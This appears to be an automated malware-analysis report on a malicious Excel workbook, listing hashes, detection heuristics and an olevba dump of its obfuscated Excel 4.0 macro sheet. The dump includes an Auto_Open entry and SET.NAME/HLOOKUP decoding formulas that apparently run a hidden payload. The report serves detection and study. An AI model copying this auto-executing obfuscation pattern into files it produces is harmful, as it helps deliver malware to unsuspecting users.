Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 c89c8710225e2b3e…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:44:46 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 1f20196fe9380865d59ff3607829404d SHA-1: 4362aa4e9aeeace2687a8a348ce9589e17274b78 SHA-256: c89c8710225e2b3e7497bc8d4a39600da0f9bcd4d9343776093b6a3f71b7fd65
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6690 bytes
SHA-256: a3ab75a82f2698493371d377b8da8e1e3deb6168f919fbf171a23ed4863b765e
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  rbVwZH
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E163 
' 0018     24 LABEL : Cell Value, String Constant - bkJzvrsSA len=0 
' 0018     25 LABEL : Cell Value, String Constant - DHJxfKopft len=0 
' 0018     20 LABEL : Cell Value, String Constant - dkyid len=0 
' 0018     26 LABEL : Cell Value, String Constant - dqFcalAnMnX len=0 
' 0018     23 LABEL : Cell Value, String Constant - eiCoZvPb len=0 
' 0018     24 LABEL : Cell Value, String Constant - FFaMsgKpl len=0 
' 0018     22 LABEL : Cell Value, String Constant - jxVmtvY len=0 
' 0018     22 LABEL : Cell Value, String Constant - kAAlKCK len=0 
' 0018     27 LABEL : Cell Value, String Constant - kpDsPMhCrAkQ len=0 
' 0018     21 LABEL : Cell Value, String Constant - lGJqyJ len=0 
' 0018     23 LABEL : Cell Value, String Constant - NDvPuqHD len=0 
' 0018     26 LABEL : Cell Value, String Constant - OFFKUKRoZfB len=0 
' 0018     20 LABEL : Cell Value, String Constant - OXnvX len=0 
' 0018     23 LABEL : Cell Value, String Constant - PaDmpOzN len=0 
' 0018     21 LABEL : Cell Value, String Constant - RMmmNa len=0 
' 0018     26 LABEL : Cell Value, String Constant - tHYeazywlDe len=0 
' 0018     21 LABEL : Cell Value, String Constant - vPvPmy len=0 
' 0018     22 LABEL : Cell Value, String Constant - wMGHBei len=0 
' 0018     21 LABEL : Cell Value, String Constant - ZBWcbi len=0 
' 0018     22 LABEL : Cell Value, String Constant - ziUDrWv len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  rbVwZH,S62,"",846.00000000000000000000
'  rbVwZH,S63,"",-326.00000000000000000000
'  rbVwZH,S64,"",871.00000000000000000000
'  rbVwZH,S65,"",415.00000000000000000000
'  rbVwZH,S66,"",-221.00000000000000000000
'  rbVwZH,S67,"",641.00000000000000000000
'  rbVwZH,E70,"SET.NAME("ziUDrWv",0+VALUE("0"))",""
'  rbVwZH,E72,"SET.NAME("bkJzvrsSA",ziUDrWv)",""
'  rbVwZH,E74,"SET.NAME("PaDmpOzN",ziUDrWv)",""
'  rbVwZH,E78,"SET.NAME("OXnvX",COUNTA(kAAlKCK))",""
'  rbVwZH,E82,"SET.NAME("eiCoZvPb",COUNTA(jxVmtvY))",""
'  rbVwZH,E86,[],""
'  rbVwZH,E88,"SET.NAME("OFFKUKRoZfB","")",""
'  rbVwZH,E91,"bkJzvrsSA",""
'  rbVwZH,E95,"SET.NAME("tHYeazywlDe",HLOOKUP("*",kAAlKCK,bkJzvrsSA,FALSE))",""
'  rbVwZH,E100,"dqFcalAnMnX",""
'  rbVwZH,E105,"SET.NAME("vPvPmy",ziUDrWv)",""
'  rbVwZH,E107,[],""
'  rbVwZH,E111,"vPvPmy",""
'  rbVwZH,E116,"dkyid",""
'  rbVwZH,E121,"kpDsPMhCrAkQ",""
'  rbVwZH,E124,"NDvPuqHD",""
'  rbVwZH,E129,"SET.NAME("lGJqyJ",VALUE(HLOOKUP("*",jxVmtvY,NDvPuqHD,FALSE)))",""
'  rbVwZH,E132,"wMGHBei",""
'  rbVwZH,E136,"OFFKUKRoZfB",""
'  rbVwZH,E139,"PaDmpOzN",""
'  rbVwZH,E143,NEXT(),""
'  rbVwZH,E145,"DHJxfKopft",""
'  rbVwZH,E148,[],""
'  rbVwZH,E152,"RMmmNa",""
'  rbVwZH,E155,NEXT(),""
'  rbVwZH,E160,RETURN(),""
'  rbVwZH,E185,"SET.NAME("ZBWcbi",E70)",""
'  rbVwZH,E187,"kAAlKCK",""
'  rbVwZH,E192,"SET.NAME("jxVmtvY",R51C14)",""
'  rbVwZH,E197,"SET.NAME("RMmmNa",203)",""
'  rbVwZH,E200,"SET.NAME("FFaMsgKpl",5)",""
'  rbVwZH,E202,ZBWcbi(),""
'  rbVwZH,E203,HALT(),""

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